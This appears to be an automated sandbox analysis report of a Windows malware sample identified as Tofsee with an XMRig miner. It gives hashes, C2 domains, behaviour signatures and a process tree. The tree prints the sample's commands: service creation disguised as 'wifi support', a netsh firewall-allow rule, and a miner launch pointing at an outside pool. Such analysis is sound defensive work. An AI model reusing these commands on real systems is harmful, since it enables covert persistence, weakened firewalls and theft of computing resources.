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Analysis

  • max time kernel
    144s
  • max time network
    150s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    04/10/2023, 09:35

General

  • Target

    file.exe

  • Size

    208KB

  • MD5

    711979d0ba9c7d2404ab1f1ce2b2f659

  • SHA1

    d79bbfdc8819df8bde19d8421e5d431ece79d516

  • SHA256

    b0630ed90cf85b1628028e32adce8cfbdfdc2036dd82387bd053104480af3e18

  • SHA512

    9432eda4ecb4cdf24228b56d6e7955a833fc81e8af14e736a2a36492acd2ae0bdcfeb6c10191caa86c557d3401718873a1939569046a7968cf17aace35f9e702

  • SSDEEP

    3072:PX9oJTf5hxPsEiohwR8kW6eypJahlL2rdg7q59N4NOmS5oqft8Ih:PGf5DEDoh1kRPPahaZu4mqf

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2412
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\efirqkec\
      2⤵
        PID:2368
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\iukxlkcg.exe" C:\Windows\SysWOW64\efirqkec\
        2⤵
          PID:2676
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create efirqkec binPath= "C:\Windows\SysWOW64\efirqkec\iukxlkcg.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2796
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description efirqkec "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2708
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start efirqkec
          2⤵
          • Launches sc.exe
          PID:2556
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2744
      • C:\Windows\SysWOW64\efirqkec\iukxlkcg.exe
        C:\Windows\SysWOW64\efirqkec\iukxlkcg.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:276
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1244
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2804

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\iukxlkcg.exe

        Filesize

        11.5MB

        MD5

        c6b9e33c565d499c8a9cddfd07ff3586

        SHA1

        fdfeb61bc66f1d6a6c7ffeafdf4fd0e2900bf01a

        SHA256

        c962294c75def1061d4fc0681c6ba7a1a0f565986fd99cc11f0a36c6ce3b4afb

        SHA512

        849e43e68633a49e7fce6b1b9d55d47a7aeb3915428f8eb4ff645ba1aa1ffb8551cdd934000889946ef3818b84915dcd562447b66deffc9de2f4f80c2f5c24dc

      • C:\Windows\SysWOW64\efirqkec\iukxlkcg.exe

        Filesize

        11.5MB

        MD5

        c6b9e33c565d499c8a9cddfd07ff3586

        SHA1

        fdfeb61bc66f1d6a6c7ffeafdf4fd0e2900bf01a

        SHA256

        c962294c75def1061d4fc0681c6ba7a1a0f565986fd99cc11f0a36c6ce3b4afb

        SHA512

        849e43e68633a49e7fce6b1b9d55d47a7aeb3915428f8eb4ff645ba1aa1ffb8551cdd934000889946ef3818b84915dcd562447b66deffc9de2f4f80c2f5c24dc

      • memory/276-16-0x0000000000400000-0x00000000005AC000-memory.dmp

        Filesize

        1.7MB

      • memory/276-10-0x0000000000400000-0x00000000005AC000-memory.dmp

        Filesize

        1.7MB

      • memory/276-9-0x0000000000640000-0x0000000000740000-memory.dmp

        Filesize

        1024KB

      • memory/1244-38-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/1244-52-0x00000000001C0000-0x00000000001C5000-memory.dmp

        Filesize

        20KB

      • memory/1244-57-0x00000000002E0000-0x00000000002E7000-memory.dmp

        Filesize

        28KB

      • memory/1244-12-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/1244-11-0x0000000000100000-0x0000000000115000-memory.dmp

        Filesize

        84KB

      • memory/1244-14-0x0000000000100000-0x0000000000115000-memory.dmp

        Filesize

        84KB

      • memory/1244-19-0x0000000000100000-0x0000000000115000-memory.dmp

        Filesize

        84KB

      • memory/1244-56-0x00000000054E0000-0x00000000058EB000-memory.dmp

        Filesize

        4.0MB

      • memory/1244-20-0x0000000000100000-0x0000000000115000-memory.dmp

        Filesize

        84KB

      • memory/1244-22-0x0000000001970000-0x0000000001B7F000-memory.dmp

        Filesize

        2.1MB

      • memory/1244-25-0x0000000001970000-0x0000000001B7F000-memory.dmp

        Filesize

        2.1MB

      • memory/1244-26-0x0000000000190000-0x0000000000196000-memory.dmp

        Filesize

        24KB

      • memory/1244-29-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/1244-32-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/1244-34-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/1244-35-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/1244-33-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/1244-36-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/1244-37-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/1244-53-0x00000000054E0000-0x00000000058EB000-memory.dmp

        Filesize

        4.0MB

      • memory/1244-41-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/1244-40-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/1244-39-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/1244-42-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/1244-43-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/1244-44-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/1244-45-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/1244-46-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/1244-47-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/1244-48-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/1244-49-0x00000000001C0000-0x00000000001C5000-memory.dmp

        Filesize

        20KB

      • memory/2412-6-0x0000000000400000-0x00000000005AC000-memory.dmp

        Filesize

        1.7MB

      • memory/2412-1-0x0000000000670000-0x0000000000770000-memory.dmp

        Filesize

        1024KB

      • memory/2412-4-0x0000000000220000-0x0000000000233000-memory.dmp

        Filesize

        76KB

      • memory/2412-3-0x0000000000400000-0x00000000005AC000-memory.dmp

        Filesize

        1.7MB

      • memory/2804-75-0x0000000000140000-0x0000000000231000-memory.dmp

        Filesize

        964KB

      • memory/2804-71-0x0000000000140000-0x0000000000231000-memory.dmp

        Filesize

        964KB

      • memory/2804-63-0x0000000000140000-0x0000000000231000-memory.dmp

        Filesize

        964KB

      • memory/2804-61-0x0000000000140000-0x0000000000231000-memory.dmp

        Filesize

        964KB

      • memory/2804-72-0x0000000000140000-0x0000000000231000-memory.dmp

        Filesize

        964KB

      • memory/2804-74-0x0000000000140000-0x0000000000231000-memory.dmp

        Filesize

        964KB

      • memory/2804-73-0x0000000000140000-0x0000000000231000-memory.dmp

        Filesize

        964KB

      • memory/2804-67-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/2804-76-0x0000000000140000-0x0000000000231000-memory.dmp

        Filesize

        964KB